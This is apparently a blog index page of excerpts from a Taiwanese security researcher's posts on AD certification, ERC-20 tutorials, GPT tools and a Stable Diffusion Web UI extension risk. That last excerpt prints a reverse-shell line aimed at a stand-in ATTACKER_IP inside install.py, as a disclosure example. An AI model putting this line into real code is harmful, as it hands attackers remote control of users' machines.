🐾~(=^‥^)ノ 喵喵喵 ∧,,,∧ (₌ↀ ω ↀ₌) ฅ^•ﻌ•^ฅ
🐾~(=^‥^)ノ 喵喵喵 ∧,,,∧ (₌ↀ ω ↀ₌) ฅ^•ﻌ•^ฅ
睽違了 3 年多,終於把我的舊部落格給搬到新家了 XD。 先來分享一下為什麼會突然想要更新部落格以及搬家,事實上我的部落格已經荒廢了超久丟著沒維護,總覺得在 AI 時代,好像分享一些基礎的東西已經沒有太大的意義了,就一直沒有太想寫文章。不過因為最近自己在做一些 Wordpress 相關的研究,一不小心就挖到了一堆的 CVE 漏洞 (應該以後有機會會再拿出來分享),這些漏洞讓我覺得荒廢多年的 Wordpress 一直擺著其實是一件超可怕的事情。再加上不明原因導致,我的舊 Blog 一直會出現 SSL 故障的問題。因此想說搬家到 hugo 純靜態是一個一勞永逸的方法。 因為原本的 Blog 是 Wordpress 6.9 搭配 PHP 7 時代的產物,現在搬家也是一件比較麻煩的事情,所以就一直沒有動手,直到現在有了方便的 Claude Code 可以自己幫我處理這些問題,才讓我毅然決然(?)決定來搬家。不過搬家過程確實還是經歷了不少的風風雨雨。 一開始我打算使用 wp2hugo 結果在轉換的過程中會直接的 crash。 後來就自己命令 Claude 幫我寫了一個 Python的腳本來進行轉換。 接下來我發現在 WardPress上面的 XML 的匯出其實也是不完整的。 原本的 158 篇文章只能匯出 88 篇,就算透過 SSH 進去使用 wp-cli 也是一樣的結果,因此最後的解法是 SSH 進入 Docker 使用 PHP + MySQLi 直接讀取資料庫才解決完畢,感嘆 Claude 讚嘆 Claude,這種事情如果在古時候應該就需要花上大半天的時間吧 XD。 總之現在搬完了 Blog,重新設定好了該設定的內容,也許我會再開始寫一陣子的 Blog 吧(?),分享一些近期 Vibe Coding 出來的小玩具。至少現在放著也比較不用擔心維護及管理 Server 的問題。如果心情好可能也會補一些過去三年沒有傳的內容,一切就看心情ㄌ 嘻嘻。 ...
我在今年七月時,報名了 CRTP 的證照,CRTP 的課程,全名 Attacking & Defending Active Directory Lab。 它的特色主要在於,所有題目都是 Windows 最新版本 Windows Server 2022 且 Windows Defender 全開的機器,Lab 以及考試的內容都圍繞在 Windows AD 之中。 它的 Lab 宗旨主要是對於 Windows 中,無法透過 Patch 修復的一些 Misconfiguration,相較於 OSCP 常見的打 CVE,方向不太一樣。另外就是,這張證照完全不需要使用到任何的 Linux 機器,例如 Kali。它的起步點預設於我們已經拿到一台 Domain Joined 的 Windows,並以那台 Windows 電腦作為起跑點,進行橫向移動,拿到 Domain Admin。 其實這張證照我在今年初就有打算想要報,不過後來看到了一些相關的通知,說 Pentester Academy 在 2023 年初將不再提供 CRTP 的證照。好在後來這張證照改由 Altered Security 繼續推出,看起來像是這堂課的講師 Nikhil 自己出來自立門戶,開了一間公司。 在今年七月初,當完了研發替代役的兵之後,距離公司的下一個大 Project 開始之間,有差不多一個禮拜的空擋,因此我就花了一週的時間把 Lab 全部刷完了 XD。 報名 CRTP 現在的報名頁面是以下網址:https://www.alteredsecurity.com/adlab 我覺得網站非常簡陋,看起來也很像釣魚網站,目前它有三種不同的方案,分別是 30 天 249 鎂;60天 379 鎂以及 90 天 499 鎂。 ...
目前最有名的 Stable Diffusion GUI 程式是由 AUTOMATIC1111 開發的 stable-diffusion-webui ,它強大且多功能的介面,吸引了非常多人的使用。 Stable Diffusion Web UI 支援透過 Extension 功能安裝第三方的套件,使用者僅需貼上對應的 GitHub Repository 即可安裝對應的套件。 透過這種方式安裝套件非常方便,但也有嚴重的安全隱患。這些套件都是透過 Python 撰寫而成,因此,駭客也可以自行準備一個惡意的腳本,並透過該 UI 載入,即可達成遠端指令執行 (RCE)。 Stable Diffusion Web UI 的套件格式為,一個 install.py 的腳本進行安裝相關操作,而主要的腳本則放在 scripts 資料夾中。而初次引入腳本的瞬間,系統會自動執行 install.py 的程式碼。因此,如果攻擊者準備好一個包含惡意腳本的 Repository,並引入,即可控制遠端的系統。 舉例來說,我們可以建立一個 Github Repository,並單純只放入 install.py,裡面寫入一個 Reverse Shell 的腳本。 import os os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/8787 0>&1' &") 並操作 Stable Diffusion Web UI 進行引入的動作,當按下引入後,攻擊者的 IP 即可收到一個 Reverse Shell,也就代表我們已經順利的駭入這台電腦或伺服器了! Demo: https://www.youtube.com/watch?v=yyjeMs1R8Ew 其實,這套 Web UI 預設是開在 127.0.0.1 僅供本地使用,不過許多人為了遠端存取,或是多人共用,因此將其直接開在廣域網路上。可怕的事情是,只要對整個網際網路開啟了 Web UI,駭客就可以輕易地奪走使用者的電腦或是伺服器! ...
Too Long; Don’t Watch 二二八連假,我整理了一下手邊囤積的各種,還沒時間或是懶得看的教學影片。包含了各大 Conference,或是路邊撿來的一些課程內容。點開這些影片,雖然內容跟標題都非常吸引人,不過常常出現奇怪的印度口音造成理解困難 QQ。而總計數百、數千小時的影片量應該是不可能在有生之年有辦法看完的,再加上許多影片並沒有提供原始的 PPT 檔案 QQ。 因此,我寫了一個腳本來透過 GPT 3 解決這個問題!透過 GPT3 的 AI 引擎來自動地幫每一頁的簡報進行 Summarize。 Repo 載點:https://github.com/stevenyu113228/TL-DW 在腳本中,首先我透過 ffmpeg 將影片截圖成每秒一張的照片,接下來使用 UQI (Universal image Quality Index) 區分出不同的圖片,並將圖片透過 Tesseract 進行 OCR 轉換成文字;同一時間,把影片的聲音軌給分離出來,並依照截圖的時間點進行切割,即可取得每一頁投影片所對應的語音內容,再把語音內容給送入 Google 的語音轉文字服務,取得每一頁講者的語音。 有了每一頁的 OCR 結果以及講者的語音轉文字,接下來就可以由 AI 出面了!我使用了目前最夯的 OpenAI GPT-3 text-davinci-003 模型,並使用以下咒語產出 Summary。 以下是一段課堂上投影片的語音轉文字,以及其對應講義的 OCR 資料,請忽視 OCR 的錯誤及簡報 header/footer。並使用繁體中文統整該頁面之內容,專有名詞部分請盡量保留使用英文\n\n語音轉文字:```\n{voice}\n```\n\n投影片 OCR:```{ocr}```\n\n統整結果: 最終,再把結果透過 Python 的 docx 輸出成完整報告,這樣下來只需要不到原始影片三分之一的時間,就可以讀完整份影片的內容,而如果逐字稿跟 AI 對於某段的總結有點奇怪時,也可以直接從報告上取得該頁面的時間,自己切回去影片重新查看! 不過 OpenAI 的 API 是需要付費的,但它有 18 美元的試用額度,我自己實驗下來,一個 30 分鐘的教學影片約需要花費 0.3~0.7 美元,我認為是非常划算 & 值得的! ...
前一篇文中,我們使用了 Solidity 實作 ERC 20 代幣,當時我們提到了區塊鏈的虛擬貨幣,其實就只是在 EVM 中的一個 map (類似 Python 的 Dictionary),裡面儲存了位址以及金額。 而 ERC 20 標準,只需要符合指定的 Interface,講白話文就是,僅需要 Implement 指定的幾個 Function,就能發行一個新的虛擬貨幣。 然而,這會有兩個明顯的問題,首先,我們只需要依照標準定義 function 的名稱、輸入、輸出就可以符合 ERC 20 的標準,這邊並沒有限制任何的 function 內容需要怎麼實作,這意味著我們可以自己幫 Function 加料,例如在 Function 中埋藏一些後門。 另外,我們也可以在同一個 Contract 中,額外實作標準以外的其他 Function 來達成我們希望的功能,做這兩件事情,都依然是一個合法、符合 ERC 20 標準的代幣。 為了避免重造輪子,事實上我們可以直接 import 由 OpenZeppelin 提供的 Library 來進行繼承或是修改,OpenZeppelin 也提供了很多擴充功能可以使用。 // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; 舉例來說,我們想要發行一個後門幣 (Back Door Coin, BDC) 的話,僅需在合約的 Constructor 定義我們初始需要鑄造多少顆幣,預設的 decimals 是 18,也就是真正的貨幣金額會是 Balance 值 *10^-18,以避免浮點誤差。 ...
只要建立了 ERC-20 標準的合約,就可以自動相容各種 ERC-20 代幣的軟硬體錢包,交易所等,事實上,只需要寫約 100 行的 Code 就能自己發行代幣,也可以很輕易的在這些合約 Code 內留下後門來做壞壞ㄉ事。 Interface 為了能夠把常見的介面給定義清楚, Solidity 有 interface 的功能。所有的函式必須是 External,即使最後宣告時使用 public。 一個 ERC20 的介面必須有 2 個事件以及 6 個函式 interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address from, address to, uint256 amount) external returns (bool); } totalSupply 可以回傳代幣的總發行量,通常會使用狀態變數 _uint256 _totalSupply 來儲存。 ...
智能合約並不智能,也不是合約,它只是可以執行在 EVM (Ethereum Virtual Machine) 中的一段 ByteCode 而已。之所以叫這個名字應該只是比較潮ㄅ,而且我覺得「智能」還有一點支語的味道,但在台灣也很少聽到「智慧型合約」這種說法。 合約不會自動執行,也不會自動結算跟驗證之類的事情,如果需要執行合約內的 Function,需要呼叫指定的 Transaction。 Account 在 Ethereum 底下,有兩種的 Account,分別是具有 Contract Code 的 Contract Account 以及沒有 Contract 的 EOA (External Owned Account)。 創建 Contract 需要使用到 EOA,且 Contract Account 比起 EOA 增加了 Storage hash 以及 Code hash 的欄位。 在 EOA 底下,總共有三種 Transaction 轉 Ether 部署 Contract 呼叫 Contract 裡面的特定 Function 在進行轉 Ether 的 Transaction 時,總共會有 4 個欄位:From, To, Value 以及 Data,其中,Data 為備註欄位,可以填入任意值。 而透過 EOA 執行部屬 Contract 時,在做的事情跟轉 Ether 一樣,同樣需要填入上述的 4 個欄位。只是 To 需要留空,只要 To 留空就代表該筆 Transaction 是 Create New Contract。 而 Data 欄位則輸入填入 Byte Code, Value 則可以塞一些 Ether 進入合約內。 ...
(中文版請點這邊 Chinese Here) //This article is translate by ChatGPT!! I really think that EC-Council is a very poor company. Although I have not paid them any money, their actions are truly unappealing = =. In May of this year, I participated in the free CPENT course offered by Taiwan UUU and successfully completed the CPENT certification after the course ended within one week. Simply put, this certificate claims to be able to rival the OSCP, but in fact, it is less than 1/5 of the OSCP. Over 85% of the exam is brute force cracking. ...
(English Here) 真的覺得 EC-Council 是一間非常爛的公司,雖然我沒有付給它任何的一毛錢,不過他們公司的所作所為真的令人不敢恭維 = =。 在今年五月底時,我參加台灣恆毅提供的 OSCP 免費報名 CPENT 課程,並順利在課程結束後一個禮拜的時間考完了 CPENT 證照。簡單來說,這張證照號稱可以跟 OSCP 匹敵,但事實上連 OSCP 的 1/5 都不到,整個考試有超過 85% 都在暴力破解。 我覺得這張證照惡劣的地方在於,雖然考試有提供暴力破解的字典檔,但是在課堂上,講師明示暗示的提醒大家需要手動調整暴力破解字典檔的順序,不然會爆到天荒地老。這完全不是一個健康的考試方法吧?我自己上課有聽了一下,因此手動調整了爆破的順序,所有的暴力破解都在 3 分鐘內爆完;另外,我也有其他朋友上課沒有注意到這個部分,考試單純暴力破解就浪費了 7 個小時,這真的非常糟糕。 自從我上次發了「深度解析 CPENT 考試心得、以及與 OSCP 的比較」這篇文後,甚至 UUU 的老師當眾在課堂上嘴我ㄟ,阿不就還好課堂底下也都有我認識的人,笑死。關於那張證照的內幕,請回去看原始文章,今天我要分享的內容不是 EC 的垃圾考試部分,而是他們行政處理也非常的糟糕。 CPENT 證照分數取得超過 90%,可以額外獲得一張 LPT 證照,我於 2022 年 6 月 2 號完成了這張證照考試,提交報告後,於隔天 6 月 3 號收到了以下 Email。 簡單來說就是恭喜我證照通過了,它來跟我要我的地址,準備寄送證照,到這邊為止一切都很合理。我也於收到這封信的兩個小時後回信了相關的資料。 在考完試的 6 天後,也就是 6 月 9 號我收到了回信,信中提醒我,我的實體證照將於 3~4 週收到! OK,四周的話,姑且當作是一個月,也就是照理來說,7月9日左右,我應該就會收到證照了……吧? 到了 6 月 22 日,也就是距離我考到證照後約三週的時間,我又收到了一次 EC-Council 的 Email,來跟我確認我的家裡地址。 ...
最近 ChatGPT 很紅,想說可以試著把 OpenAI 的 API 給接上 Telegram 的群組來玩玩看,順便記錄一下 GCP 的 AppEngine Deploy 方法! 程式碼我放在:https://github.com/stevenyu113228/OpenAI-GPT-3-Telegram-Chatbot 效果 OpenAI 先到 https://beta.openai.com/account/api-keys 申請一組 API Token 在 Playground 上面隨意玩一下,複製他的 Example 來微調 import os import openai openai.api_key = os.getenv("OPENAI_API_KEY") start_sequence = "\nA:" restart_sequence = "\n\nQ: " response = openai.Completion.create( model="text-davinci-003", prompt="Q: ", temperature=0, max_tokens=100, top_p=1, frequency_penalty=0, presence_penalty=0, stop=["\n"] ) Telegram API 接下來到 Telegram 的 BotFather 來新增 Bot ...